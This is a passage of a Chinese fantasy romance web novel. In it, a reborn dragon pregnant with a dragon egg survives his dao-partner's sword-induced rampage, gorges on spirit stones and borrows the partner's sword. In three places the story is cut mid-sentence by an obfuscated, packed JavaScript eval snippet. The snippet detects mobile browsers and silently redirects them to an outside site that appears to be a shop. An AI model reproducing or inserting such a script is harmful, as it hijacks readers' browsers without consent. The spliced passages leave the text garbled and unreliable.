更重要的一点是,他哪里敢去支使无相大人做这种小事啊! “算了,我明日自去找业罪司禀明。小六,起来吧。” 羽熹扶着门框缓慢地起身,一副柔弱无骨的样子,仿佛下个楼梯能把他小命下走一半。 能少走一步就少走一步,从前他就懒得离开龙宫,如今肚子里有了一个每天都要吸他灵力的东西,更是懒得动弹。 敛真然是将他放在卧雪宫大门口才离开的。 羽熹其实并不想和鄢尘离待在一起,虽结为道侣,可也没说要住在一起。 但他还有事情需要做,必须得来见他。 卧雪宫弟子有为他准备单独的住处,他三言两语将人打发走,转头就摸去了鄢尘离的寝殿。 嘎吱一声,门被他豁开一条缝,他把半张脸卡过去,眯着眼巡视内间的情况。 没有人? 他直起身体,侧身从门缝挤进去。 寝殿十分空旷,脚步一踏进去,一道冷风扑面而来。 羽熹忍住想打喷嚏的冲动,捂着鼻子猫步走进。 殿中东南开着窗,一阵风吹来,身后有什么东西发出窸窸窣窣的响动。 羽熹转身,见身后一张宽大的桌案上摆着几张纸,被镇纸压着,发出哗哗翻动声。 过去一看,纸张上只有几滴墨,一旁放着笔砚等器具,似乎是主人想要作画,却最终没有落笔。 想不到这人平日打打杀杀酷爱装逼,私底下还有这么文雅的爱好。 只可惜什么都没画,看不出水平。 正准备朝内殿去,忽然注意到身侧的博古架上放着一堆画卷。 有成品? 羽熹乐呵呵伸手正要拿一卷下来看,忽然一阵罡风迎面袭来,他反应敏捷地躲了开。 紧随而来的,是一道黑影,比罡风更快,眨眼便移到了羽熹面前,将人抵在桌案上,手掌握成爪,一把掐住羽熹喉咙。 “!” 羽熹呼吸登时收紧,脸涨成紫色,双手死死扣住那人的手,用力去推他。 纹丝不动。 “鄢尘离!你发什么疯,放开我!” 虽逆着光,他也能凭轮廓辨别出是鄢尘离,只是没看清鄢尘离此刻与平时的不同。 黑暗中,暗红色的眼瞳倏忽闪过嗜杀的光。 “你有病啊鄢尘离!是我!” 掐住脖子的手一点没留余地,羽熹几乎听见了自己脖子咔咔的声音。 他这才意识到,这人想把自己脖子拧断。 14. 龙蛋饲养手册 “不就是……看看你……的画……又没……碰到……狗……都没你……” “护食”两个字被吞没在喉间,几近窒息。 羽熹不知不觉间松了双手,滑向腹部的位置抚了抚。 绝对不能让任何人伤害他的孩子,羽熹目眦欲裂,手掌一握,凝出不可不眠剑意,狠狠砍向男人。 如同飞蛾扑火,剑意落在男人身上,或许比针扎还不如。 羽熹脱力,渐渐闭上双眼,那双铁钳般的手却毫无征兆地松开了。 鄢尘离后退两步,目光有些错愕,下一瞬,又双手抱头发出一声压抑的低吼,好像头要裂开一般痛不欲生。 羽熹猛烈地咳嗽一阵儿,捂着喉咙大口呼吸,心中陡然升起恨意,却又很快发现了不对劲。 鄢尘离状态不对。 他的气息和白天不同。 “修炼走火入魔了?”龙魂们有些着急地问。 方才他们正专心地整理典籍,忽然又感应到羽熹生死攸关,叹了一口气,立马查看情况。 查明情况后,更深地叹了一口气。 龙族后代真是命运多舛。 羽熹皱着眉,脖子上的痛感未消,试探地扶墙走近一些。 “你不要命了?他很明显走火入魔了,你赶紧离开这里,免得误伤。”龙魂急得想跳出来敲他脑袋。 羽熹充耳不闻,又往前探了两步。 但他到底没活腻,找了个遮挡掩住自己,隔着一定距离观察。 鄢尘离此刻已经完全失去理智,双目充血如鬼魅,浑身真气逆行灵气暴动,不受控制地外泄。 他杂乱无章挥出的掌风,竟然将身后半个寝殿轰塌了。 脚下的地越晃越厉害,羽熹忍不住后退几步,又见鄢尘离拔出了剑。 他是见识过那什么“同盟剑”的威力的,还没等他伸手制止,两道剑风已经接连卷出毁天灭地之意。 好消息是不是朝自己的方向。 没多久,他听见一声更为震耳欲聋的大地崩裂之声。 外面月华鼎盛,羽熹眯了眯眼,看清了是卧雪宫对面两座峰头被生生切断了。 “……” 两剑击出后,鄢尘离像是发疯一般,忽然半跪在地,扼住曈曚剑脊,既像是在控制剑,又像是在和身体里的那股力量拉扯。 “走!” 男人下颌崩起青筋,几乎是从齿缝里挤出来这两个字,嗓音和着血腥气,不容违逆。 “哦。” 羽熹二话不说,转头飞快离开这是非之地,还顺手关上了寝殿大门。 出门后,他没有走远,背靠着门旁边的柱子蹲了下来。 “你躲远点吧,万一一会儿又来一道剑风,从大门方向打出来,你脑袋和身体岂不就要分家了?” 羽熹不以为意,双目放空捧着脸陷入沉思,片刻后喃喃道:“问题在那把剑身上。” “哦?”龙魂疑惑,“不是修炼岔气走火入魔?” “不像,倒像是控制不住剑的力量,遭到了反噬。” 龙魂们没急着说话,似乎是在回忆当时的细节。 “你们注意到了吗?在他真元暴乱时,周身混杂着一丝魔气。是从剑身上散发出来的。” “是有,但不明显。” “我近距离观察过他的剑,非常醇洌的炎阳之力,修炼到他这种境界,他的剑必不可能有一丝魔气敢沾染。” 思索片刻后,他又补充:“除非是剑生本灵,又嗜血太多,他难以控制,便又反噬到他身上。” “嗯,有道理。”龙魂纷纷点头,“你要帮他么?” “也是,若他遭到反噬走火入魔,这修真界也没别的人能保你,咱们还没把他吸干,暂时不能让他死了,羽熹,你有什么主意?” 少年不知有没有听到龙魂的话,想到什么,一拍大腿,露出一个阴恻恻的表情,“原来他真的受伤了。” 龙魂摩挲着下巴点头,“如此看来,在扶幽海上那次,还有在飞艎上那次,魔君都是在强撑。” 羽熹腾地站了起来,回头看向紧闭的寝殿大门,里头已经安静下来,没再发疯。 “大好机会啊!” 羽熹兴奋得有些压制不住语调,“得趁此机会好好整整他。” 龙魂:“…………” 循着记忆回到自己的窝,羽熹巡视一圈觉得还算满意,点点头走到镜子面前照了照。 他抬起下巴露出修长的脖颈,一圈紫红色的淤青像条丑陋的蛇一般缠绕,他伸手摸了摸,疼得“嘶”了一声。 下手这么狠,难怪连自己从小养大的亲徒都能说杀就杀,活该他这么多年孤家寡人一个。 他的脖子就差那么一点就能被生生拧断,现在稍微一偏脖子都觉得疼,喝一口水喉管向被火烧一样。 羽熹心里暗暗把这笔账给聿明记上,他不仅要在鄢尘离身上找回来,回了天界还要向聿明讨个够。 最好是把他脑袋砍掉一次,看看他几天能长回来。 困意来袭,他没再管狰狞的伤痕,爬到床上倒头就睡。 脖子上火辣辣的痛,他翻了好几次身。呼吸才渐渐平稳。 夜深,床头一个黑影悄无声息地出现。 鄢尘离漆黑的眼瞳隐匿在黑暗中,情绪不明,目光流连在少年睡得香甜的脸上。 那道目光缓缓往下,落在脖子那圈刺眼的淤痕上时颤了颤。 鄢尘离呼吸一顿,无声地靠近一些,伸出手,轻轻用手指背在少年红肿的伤痕处滑过。 许是触碰到敏感处,少年安静垂落的长睫动了动。 那双未经允许擅自触碰的手立马避开些。 不知道在做什么梦,少年原本恬静的脸忽然皱了皱,眉宇间有丝不悦,含糊不清地梦呓,“下手这么狠……” 鄢尘离心像是被揪了一把。 不知道过了多久,黑影消失了,糊了明绢的窗上透出莹白的日光落在少年脸上。 少年偏了偏脑袋,拉过薄衾翻了个身继续呼呼大睡。 忽然识海里沸腾起来,无数道声音叽叽喳喳将他吵醒。 “干什么?” 黏糊的语调里含着明显的不耐烦。 “成了成了!” “什么成了?”羽熹缩了缩脑袋,试图续上方才的美梦。 龙魂并不如他意,激动到声音猛飙,“我们整理了几百万年的龙族记忆残片,整理出了这么一本关于如何养育龙蛋的书。” 老少男女声音交错,无比振奋。 “我们想了一晚上,给这本宝册取了个名字!” “当当当当——龙蛋饲养手册!” 羽熹:“……” 手册,一听就很麻烦。 “我吃什么他吃什么不行?” “哪有那么简单!咱们龙族的独苗苗,金贵着呢!就你现在这个样子,自己活着都难,养龙蛋更是要小心谨慎出不得半点差错。” 羽熹被一嗓子吼散了睡意,顶着一头黑线坐了起来,抬手揉揉肚子。 龙魂以为他被唤醒了良知,知道要好好爱护龙蛋了,谁知他来了句,“饿了。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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以为是卧雪宫弟子,未免抓个现行,他欲盖弥彰收回手,正要说几句话掩饰,一转头就对上一道幽冷的目光。 “……怎么是你?”羽熹语带嫌弃。 “不然是谁?”鄢尘离不着痕迹扫过少年的脖子,见完好无损又移开目光,一言不发地越过了他。 “等等。”羽熹叫住他。 鄢尘离脚步顿住,并未回头,半侧着脸。 羽熹抱着手,“我既然是你的道侣,那按照规矩,资源共享,你有的就是我有的,对不对?” 鄢尘离挑挑眉,不置可否,等着他继续说。 “我一个人怀龙蛋很不容易的。”莫名其妙他就开始卖惨,“你没怀过你不知道,龙蛋这种东西可不好养,他随时随地都在吸收孕育者体内的灵力,如果营养不够,生出来的龙崽就很弱,甚至可能养不活。” 鄢尘离转身看了他腹部一眼,眼底闪过一道说不清道不明的情绪。 良久他才张口,“所以呢。” 羽熹粲然一笑,从怀里摸出那本手册扬了扬,“所以,你好好研究研究这个。” 龙魂怎么把手册拍在他脸上,他就怎么把手册拍男人胸口,他微微靠近一些,偏头对他笑笑,目光藏着狡黠,“全仰仗你啦,道侣。” 羽熹此时心情说不出的畅快,连昨晚差点被这人掐死的仇都抛诸脑后了。 这可是聿明,能让聿明吃力不讨好替别人养孩子,他光是想想就开心。 鄢尘离攥着手册的手指骨有些泛白,面色不改地翻开看了看。 第一条写着:母体需受灵气滋养,寻一处灵气充沛之地修炼,或直接灌输灵气入体,以塑龙蛋之精魂。 “啪”一声,鄢尘离合上了手册,两步跨过羽熹。 “怎么,你不肯认?” 就在羽熹以为这人要翻脸不认人时,鄢尘离道了句,“跟我来。” 15. 戏珠 卧雪宫虽然被削去了一块,依旧不妨碍其气势,殿宇威严,脊兽吼天。 羽熹跟着负手走在前面的男人来到了另一座大殿。 大殿以前不知道是用来做什么的,梁柱奇高,一共十六根伫立,顶着看不清纹路的穹顶。 殿虽大,却空空如也,除了十六根大柱子什么都没有,喘口气都能听见回声。 “你带我来这里做什么?”羽熹投去一抹怀疑的眼神。 不会是想把他囚禁在这里吧? 鄢尘离没管他,兀自踏上阶,取下腰间储物的芥子扣,指尖一抹,空旷的大殿凭空出现了一座灵石矿山。 “哇……” 羽熹下意识惊叹一声,后仰着脑袋去看灵石山的顶,已经与穹顶融为一体。一双眼晶亮晶亮。 丰沛醇厚的灵气瞬间将他包裹,骤然沐浴在如此滋润的地方,他甚至感觉龙角有点痒痒。 他对凡修界灵石等级并不了解,但目测其蕴含的灵力和纯度,颗颗都是顶级灵石。 “每日需要多少,自行来取,不够再来找我。” 鄢尘离收了书,转身潇洒离去。 羽熹脖子望酸了,有些收不回来,抬手揉了揉,“这么阔绰。那我可就不客气了。” 卧雪宫平时没什么弟子来,但因着昨日无相大人旧伤复发不甚削掉了两座山头,自家大殿也塌了大半,便有弟子前来修缮。 踏进卧雪宫,两队弟子便不由得讨论起之前的传闻。 “听说无相大人和一个毫无资质的不记名弟子结为道侣了,那弟子现在就住在卧雪宫。” “我也听说了,我实在想不通,无相大人这么多年独来独往,不是闭关修炼就是下山伏魔降妖,从未有任何人靠近过他身边,许多师兄弟都怀疑他所修之道孑然一身,早就斩断了七情六欲,只待飞升,怎会突然……” “此人到底什么来头?” 另一排的弟子听得他们讨论,不由得插话,“你们哪个峰的,问天阙最近的大事你们全然不晓得?” “我们是刚从北原驻地回来的,宗门内近日发生何事,还请师兄指教一二?” “哦,北原驻地来的啊,那确实远,不知道也正常,那件事封锁了消息,不过问天阙内大多数人都知道了,都说,前些日子在阴墟禁地有真龙现世,就是那个不记名弟子,不仅如此,他肚子里还怀了龙蛋。” “龙?”那弟子惊讶,“龙可是仙族,不应该在天上?” “不知道啊。这事儿虽然传得沸沸扬扬,但我是不信的,那个风小六我认识,他五年前就跟从前业罪司的掌事师兄云方仪来了问天阙,我时常见他都是一副呆呆傻傻的样子,一身凡骨,不可能是龙。” “对,阴墟那种阴邪之地,发生什么邪门的事都有可能,但不可能让一个凡人突然成仙。” “就是,那还了得?那不所有修真者都别修炼了,一起手拉手跳阴墟得了。” 立马就有人呵道:“住口,你想犯禁?” 那弟子忙闭了嘴。 “反正,没亲眼所见,我是不相信修真界有龙的。无相大人和那风小六结为道侣肯定另有隐情。” “说起隐情,”那弟子压低声音,“我听说风小六这个孩子正是无相大人的。” “什么?!” “嘘,小点儿声,听说是无相大人对风小六一见钟情——” 两队人扛着工具入殿修补,正激烈讨论着,忽然,废墟堆无端震了震,扬起一阵灰尘,屋檐下的一排风铃也无风自响。 弟子们被这动静打断手中的事,纷纷左右张望。 “怎么回事,刚才是不是地震了?” “是不是哪座山头又被削了?” 那阵莫名的响动很快过去,风一般难以捕捉,弟子们没得出个所以然,又继续整理。 没多久,那响动又起,依稀还能听得有一道低低的沉吟,如同远古的神兽的低语,回荡在每个人耳边。 “这声音,是活物!” “遭了,不会是玄月峰养的灵兽跑出来,不小心窜到卧雪宫了吧,那可不行,咱们快出去看看。” 几人放下手中物什,提起剑就往外边儿跑,那声音一阵儿一阵儿的,很有规律,听着像是神兽沉眠的呼吸。 循着声音,绕过倒映云天的灵月莲池,来到卧雪宫后方的大殿。 几个弟子停下了,脚步有些迟疑,“此处好像是无相大人平日冥想的地方,若无相大人在这里面,我们贸然打扰岂不是冲撞了?” “怎么可能,无相大人若在里头,还能有蠢兽能闯进去?我方才见无相大人去了主峰,肯定不在,咱们赶紧进去把灵兽赶回去。” “玄月峰的人也真是的,自己养的东西都看不住,每次还要我们来擦屁股。” “算了别说了,赶紧进去吧。” 几人推门闯进大殿,混着浓烈灵气的风扑面而来,还以为是袭击,纷纷抬手抵挡,很快又发现气息不对,呼吸间灵流涌动,仿佛到了灵气充沛的洞天福地。 “你们快看!”有人忽然大喊一声。 众人应声抬头,瞬间一个个呆愣在原地。 只见大殿空空如也,十六根巨石盘龙柱排排耸立,然而有一根盘龙柱上,竟然真的盘了一条龙。 “哗啦——” 不知道谁的剑掉在了地上,和白玉地面发出清脆的撞击声。 “我的妈呀,是龙!是活的!胡须都在动!” 那是一条幼体小白龙,浑身流光溢彩,银白鳞甲排列整齐十分漂亮,每一片都闪着云霞一般的柔光,头顶两支龙角莹润细腻,如木之初生的嫩芽。 白龙盘在玉柱上闭眼小憩,有节奏的发出低低的龙吟,醇厚的灵气在呼气的时候不要钱地往外喷,就跟一个巨大又漂亮的灵气罐似的。 “这……这不是玄月峰养的灵兽。” “……废话!” “传言竟然是真的。” “你要干什么?” 一弟子上前几步,动作小心翼翼,“我……我只在古书上见过龙,我想凑近些看看。” 他说着慢慢靠近,举起剑,轻轻地挑了挑白龙垂落的龙须。 小白龙鼻子动了动,大概是觉得痒,盘着玉柱蹭了蹭,还是没忍住,打了个喷嚏。 这喷嚏惊天动地,“轰”一下,一群白衣弟子全被吹出十几米,在大殿阶梯排成排滚落出去。 盘龙柱上的小龙动了动,似乎是被吵醒了,羽扇般纤长浓密的银白色睫毛簌簌扑了扑。 羽熹一口气吃掉了一整座灵石山,有一种连大脑都被塞满的感觉,无法思考,难以集中注意力,这状态像是喝醉了酒,神态迷离,脸上还泛着红霞。 美梦被惊灭,他破天荒地没生气,连什么状况都没搞清,就从玉柱上滑下来,迷迷瞪瞪飞出了大殿门。 躺在地上揉屁股的弟子们就看到,小龙从大殿里飞了出来,绕着卧雪宫飞了一圈,见着灵月莲池便兴风作浪,池水聚成一束一束的水柱盘旋着朝他靠拢,拥簇在龙身四周,汇成一条小河。 小河中点缀着碧绿的荷叶,一朵朵原本只在夜间绽放的灵月莲在柔波中荡漾着,花瓣一点点盛开,绽放出七彩宝光,似天上凭空出现的彩霞,载着小龙远飞到天边。 卧雪宫动静太大,其余峰的弟子都被吸引,抬头望天空,便看到了一条白龙乘着霞光盘旋腾飞,问天阙的天空很快下起淅淅沥沥的雨。 “你们快看,是龙!” “问天阙真的有龙诶~” 羽熹很久没这么撒欢了,他甚至不知道自己在哪儿,只想在水中嬉戏转圈圈,越转头越晕。 “诶,龙掉下去了!” 羽熹控制不住力量,一下子失了平衡,朝山谷栽下去,脸快贴到谷底时,又腾地飞上来,飞够了,他又引出雷电去劈一个挡住他去路的山头。 轰隆—— 问天阙的峰头又少一个。 简直魔龙出世。 但这事儿太新鲜,一时居然没有弟子上前阻拦,只顾成群结队地围观。 突然间,一道红光如流星划过天空,直指那撒泼的小龙。 “是无相大人!所以说,无相大人的道侣就是这条龙?” “无相大人果然是天命之人,三千年来最有希望飞升的修士,连龙族都愿与他结为道侣,我们修真界有希望了。” “是啊,三千年没有人飞升过了。”不知道谁叹了一句。 “风小六竟然有此奇遇,能被真龙选中,借体转生,传言果然是真的。” 鄢尘离原本在应冕殿中与他商议事情,听得外 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16984401|193610||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 面有异动,眨眼间就闪了出去,应冕还没来得及说话,就不见了踪影。 等他飞至兴奋的小龙面前,正要唤他,发现小龙注意到了他,也在向他靠近。 小龙鼻子动了动,嗅到了一股熟悉的味道,转头慢吞吞靠过去,他没认出眼前的人,只把一颗龙头凑过去,用那对莹润可爱的龙角在他胸膛处蹭了蹭。 鄢尘离愣了愣,不确定地伸出手,在小龙头上摸了摸,谁知小龙不乐意了,吹了吹龙须,躲开他的手,又去蹭他胸口。 孩子气的举动,鄢尘离无比熟悉,不是撒娇就是讨要什么东西,微微出神片刻,便从怀中摸出交换信物时小龙给他的夜明珠。 他把夜明珠递过去,小龙便用鼻尖蹭蹭圆润的珠子,一张脸红红的,喜欢得不行。 鄢尘离便撒手把珠子推出去给他玩儿,守在一旁,看小龙和夜明珠玩耍,见他玩够了,便悄声飞至小龙面前,伸出手,按在他灵台处,汇入一道灵力。 看他这状态,应该是不知克制吃了太多灵石难以消化,灵力在经脉中暴涨,才令他如此躁动。 欢腾的小龙瞬间安静下来,龙尾倦倦地摆了摆,没一会儿,就收了龙鳞龙角,变回了道体,醉醺醺地落在鄢尘离怀中。 软乎乎的少年在男人怀中拱了拱,微微发着烫的胳膊攀在鄢尘离脖子上,“好……好吃……嗝~” 鄢尘离:“……” 他按了按眉心,不知道少年究竟吃了多少,抬手接住夜明珠收回怀中,单手搂着人飞回了卧雪宫。 灵月莲池一塌糊涂,寝殿也还没修好,他转了个向,去了少年的房间。 鄢尘离搂着少年的腰,小心翼翼地把人放在床上,屁股才碰到床板,怀中少年就弹了起来,双手双脚缠住鄢尘离,把他当盘龙柱一般蹭了蹭。 “我还要吃,没吃饱……鄢尘离,小气……” 鄢尘离放出神识出去探查了堆灵石的大殿,发现里面已经一颗也不剩,额角狠狠突了突。 也亏得他是龙族,那可是五百万数的极品白灵璧,被他一口吃掉还没饱。 换做其他修士,一口气用掉这么多灵石不把自己丹田撑爆都算他厉害。 “风小六,别闹。”他去抓少年的手,想把他从身上撕下来,“回床上躺着。” 少年身体发热,手脚却灵活如水蛇,抓住了这只,那只又滑下去勾缠他脖子。 “谁是风小六。”羽熹下意识咕哝一句。 被他缠住的男人动作一顿,眸光变得深邃幽暗,“你说什么?” 关键时刻龙魂们意识到危险,怕他醉后一口气把自己身上的秘密秃噜出去,连忙发出一声声龙吟,在他识海不停震荡。 羽熹登时感觉头要被吵炸了,哼哼唧唧甩脑袋,什么也不肯说了。 鄢尘离趁机俯身把少年放上床,位置一变换,羽熹绞着男人腰的腿很快便觉得费力起来,这才终于松开,但双手依然揪住男人的衣襟不撒手。 鄢尘离手撑在少年颈侧,扯了扯,没扯动,少年抓得很紧,还皱着眉咕哝两声。 “什么?”鄢尘离压低一些凑近少年唇边。 “不要压到我的肚子……” 闻言鄢尘离下意识将腰抬起来一些,下一秒又反应过来,刚才也没碰到他肚子,只怕又是在说醉话,无奈摇摇头,侧过脸时,少年已经合上了眼。 吃饱了就爱犯困。 鄢尘离没有起身,用目光在少年墨染的眉眼、挺翘的鼻尖和饱满的唇珠上描摹片刻,任滚烫的呼吸喷在他唇侧,不知在想什么,许久才起身,替少年掖好被子,才从房间离去。 然而才走到院外,抬头发现那少年趁他不注意又蹿了出来,这会儿正趴在一颗老树干上仰面朝天呼呼大睡。 “……”鄢尘离把他摘下来,送回去,关上门。 转头,同样的老树干,又长了个粉雕玉琢的少年。 “…………” 这次送回去后他没有再离开,就坐在床榻守着。 少年许是感应到有一座大山挡住去路,没再试图翻越,躺平老实睡觉。 鄢尘离叹了口气,静静地等了一会儿,才伸出手,虚虚地覆在少年肚子上。 腹中胎儿也如同母体一样魂力躁动,但比之前强健不少,便又缓缓输送灵力安抚。 16. 地图 得知自己昨日在整个问天阙面前又是撒泼又是卖萌,羽熹浑不在意,伸了个懒腰,起身溜达去放灵石的地方吃“早点”。 一口气把灵石矿山吃空了,他以为鄢尘离会自觉乖乖地补上。 结果一进门,只看见了一座还没到自己膝盖高的小灵石堆。 他不满地皱眉,“这么点,还不够我塞牙缝,难不成我就吃了这么一次,就把堂堂无相大人给吃穷了?” 捏起一颗看了看,品质倒是没有降低,抬手就扔嘴里嚼吧嚼吧咽了。 “这法子有用,我感觉我的修为恢复了十之一二,身体比往日更加轻盈,还能随意化形。” 龙魂替他检查一遍内府,摇头道:“恐怕单靠这个方法还不行,你的道体仍旧是凡骨,还需慢慢淬炼。” “真麻烦。” 他一口一口嚼完了这碟小菜,打算去找鄢尘离闹一闹。 从路过弟子口中得知,鄢尘离此时正在后山飞泉边的石头上打坐,羽熹寻摸过去,倾身在他耳畔幽幽问,“我的早食为何大大缩水?” 一缕墨发从少年肩膀滑落,清风迎上来拨了拨,扫过男人侧脸,有一丝还顽劣地往男人唇缝挠了挠。 鄢尘离缓缓睁开眼,任发丝在他脸颊抚过,伸手钳住少年手腕,在他脉上探了探,“刚好。” “……” 小气。 “手册你研究得如何了?夫君?”羽熹语气古怪,明显只是想膈应对方一下。 鄢尘离却倏然睁眼,极副侵略性的目光追向背过身去的少年,仿佛被那两个字的称呼点燃了火,从眼底烧到心底。 始作俑者却浑然不觉,在潭边坐下来,把一双瓷白的裸足泡入水中,许是潭水冰冷,激得少年打了个哆嗦。 “嗯。” 鄢尘离喉结滚动,下颌仿佛还有发丝在撩拨,一丝一丝爬上痒意,往衣襟下方蔓延。 “‘嗯’是什么意思?除了每日灵气供给,还要做什么?” 羽熹把手册仍给鄢尘离,除了想折腾他之外,最大的原因就是自己也懒得看。 鄢尘离停止心猿意马,回忆手册的内容,片刻启唇,“龙属木,喜阳,应多吸收日之精华。” 羽熹赞同的点点头。 他是挺喜欢晒太阳的。 不禁又开始怀念他玄邕海的白色海滩。 “这日之精要怎么吸收?今日天上阴沉沉的,无相大人可有本事驱散乌云?” 羽熹偏头,目光不经意扫过鄢尘离的剑。 鄢尘离抬头看看天,今日天阴,百里铅云,不下雨都算好的了,上哪儿吸收日之精华去。 羽熹见他又闭上眼,指尖并拢掐来掐去,问:“你可是在算何时天晴?不用算了,我一看便知,这几天都晴不了,除非去一年中少雨炎热之地。” 鄢尘离不答,仍旧在算。 羽熹踩着湿哒哒的脚又靠过去,“其实何须那么麻烦,你就算算出了此时此刻哪里天晴,我也不想动,我看你的剑内蕴金乌之力,至火至阳,效果是一样的,不如借我用用?” 鄢尘离看了曈曚剑一眼,似有犹豫。 羽熹忽然抬腿,将湿漉漉滚着水珠的脚踩在鄢尘离膝盖上,冻得泛粉的圆润脚趾翘了翘,“你摸摸我的脚,凉成什么样了?” 那是一只十分完美的足,白玉雕琢一般,踝骨清晰,指甲修得圆润干净,玲珑可爱,几滴水痕滑过脚背淡青色血管,最终渗入衣料中。 鄢尘离呼吸一紧,血气在体内横冲直撞,像是体内有一把火烧着,令他口干舌燥。 “拿去吧。”鄢尘离别开眼,不着痕迹舔了舔干燥的唇。 他的伤势昨晚已经有所恢复,应当能够压制住曈曚剑,只要在他神识范围内,出了问题也能控制。 “爽快。”羽熹正要收回脚,蓦地被一双温热的手掌攥住。 “别动。” 鄢尘离终是伸出手,却只是抓着他不让他动,掀起衣袍一角,覆上少年脚背,替他细细擦拭水渍。 羽熹一愣,没想到鄢尘离竟会做这种事。 “另一只。” 男人细细把脚上的水擦干,松了手,摊开掌心等着少年换脚。 羽熹只是微讶一瞬,便把另一只脚也踩上去,直接滑进对方掌心,心安理得的享受男人的伺候。 山涧有阵阵清风拂过,掀起少年衣袂,翩翩然翻飞,鄢尘离低着头,无比专注细致地擦拭每处趾缝。 碰到痒痒处,粉嫩的脚趾就会绷紧,微微躲开,他便扣住少年脚踝不让他动。 羽熹原本坦然,也受不了他这样磨蹭,弄得他耳朵生热,有些不自在地催促,“好了没啊。” 鄢尘离终于放开那只脚,将衣袍自然放下,指尖捻了捻,语气似心无杂念般的,“穿上鞋,拿着剑,别离我太远。” 羽熹将被搓得微微泛红的脚放下,先拿了剑,再蹬上鞋子,跑到一旁去。 “……”鄢尘离补充一句,“不可拔剑——” “铮——” 羽熹手快,剑已出鞘,一阵剑气荡出,林中草木哗哗乱舞,只差尖叫。 鄢尘离:“……” 他探过身,似乎是要阻止,但动作却凝固在原地,眸光中露出一丝诧异。 少年没有被灼伤。 “铮……嗒……铮……嗒……” 还玩儿起来了,握着剑柄一抽一抽。 “……” “这剑不错,你继续打坐,我去别地儿转转。” 羽熹饶有兴致地把玩,还把自己的本命剑不可不眠剑意抽了出来两相比较,发现自己的剑意依旧羸弱,只能凝成菜刀,跟曈曚放在一起简直弱爆了,默默迅速藏了起来。 “见到人不可轻易拔剑。”鄢尘离不忘嘱咐。 “知道了知道了,你怎么这么啰嗦。” “……” 羽熹抱着剑一路回了自己房间,将之摆在桌上,一撩衣摆坐下,伸出手缓缓抚过剑身。 不知怎的,曈曚剑开始细细的颤抖,羽熹还以为这剑像前日晚上那样失控了,连忙收回手,剑瞬间又不抖了。 他只好不再碰它,手抵着下巴琢磨。 “这把剑的气息和那晚的气息也不太一样,究竟是哪里出了问题?” 龙魂道:“你不是说可能是剑生本灵,本灵又嗜血过多所以才失控?” “我可能想错了。” 他摸了摸下巴,再次试探着伸手去抚摸剑身,剑就跟有个触碰开关一样,一碰就抖。 “有了。” 他忽然起身,把剑别在自己腰间,慢慢悠悠出了卧雪宫。 他和鄢尘离结为道侣之事虽尚未来得及正式昭告天下,但在问天阙内已经是人尽皆知,灵山范围内没有他不能去的地方。 就是找起来有些费力,他不认得路,更懒得动弹。 于是便找来宫中弟子,让他们帮忙传话叫来敛真然,再让敛真然带着他御剑去了云方仪的寓所。 “云师兄,你的伤怎么样了?” “好多了,小六,你昨天去哪儿了?” 云方仪底子好,又加上白天黑夜上等灵药内服外敷,外伤基本已经修复,只有灵骨俱碎留下的内伤尚且需要慢慢休养。 “昨天?昨天喝多了。云师兄,我给你带了些药,都是好东西,你看看哪些用得着的拿去用,放心,不是偷来抢来的。” 他从身上摸出一堆瓶瓶罐罐推过去。 “不用,我其实好得差不多了,你看,我还能挥剑。” 云方仪正要拿剑,忽然眼睛一亮,惊诧地指着羽熹腰间,“小六,你……你怎么拿着无相大人的曈曚剑?” 敛真然也附和,“我早就注意到了,这可是无相大人的本命剑,小六,你是不是趁无相大人不注意偷偷拿来玩的?这可不好,被发现了无相大人会怪罪你的。” 羽熹把剑取下来举了举,“是他自己给我的,这剑身热热的,正好拿来暖手。” 云方仪:“……” 敛真然:“……” “你们要不要看看?”他说着,做出拔剑的动作。 二人连忙制止他,“小六不可,这可是曈曚剑。” 羽熹想到临走前鄢尘离的嘱咐,没有贸然打开,“同盟剑怎么了?” “这剑就同天 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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龙魂好奇,“你要做什么?” 羽熹却没回答。 修真界十四州的大致分布已经印在脑海,羽熹看话本子一样抱着地图看得津津有味,“师兄,若我想买一些灵宝法器什么的,应当去何处?” 敛真然调笑道:“师弟,买灵宝都是要灵石的,你有吗?” “……” “用灵石买吗?” 羽熹思索一番,决定之后每一顿少吃一点灵石,余下的攒起来留待日后。 云方仪给他指了指地图上分布比较多的小红点,说:“这些红点是芳草堂,几乎各个州都有,专门给修士卖各种法器符箓丹药等,不过都是些比较基础的东西,如果要买稀有的灵宝,那只有罗刹海市的浮屠塔有。” “浮屠塔?”羽熹看了云方仪一眼。 云方仪这次没给他指位置,只说:“罗刹海市鱼龙混杂,太危险了,还是不要去的好,你若是有想要的东西,可以告诉我,我去为你寻来。” 羽熹笑了笑,也没说要什么,但也没再继续问。 “师兄,我把这地图带回去可好?” “你拿去就是,不必同我说,小六,我们是一起长大的,你想要什么,不用跟我客气。” 羽熹愣了愣,有些意外。 他只知道风小六曾经是跟随云方仪一起来的问天阙,应该是云方仪的随从什么的,并没想过两人之间有什么更深的关系。 毕竟曾经的风小六只是一个普通得不能再普通得凡人,和云方仪实在不像是一路人。 如此说来,两人之间应该比他想的要更亲近。 这可真是难办了。 他含糊地笑了笑,收起地图,打算回卧雪宫了。 “小六?” 云方仪忽然叫住他。 “怎么了云师兄?”羽熹回头。 “我的伤已经好得差不多了,不日便要动身离开问天阙,你要随我离开吗?” 17. 禁书 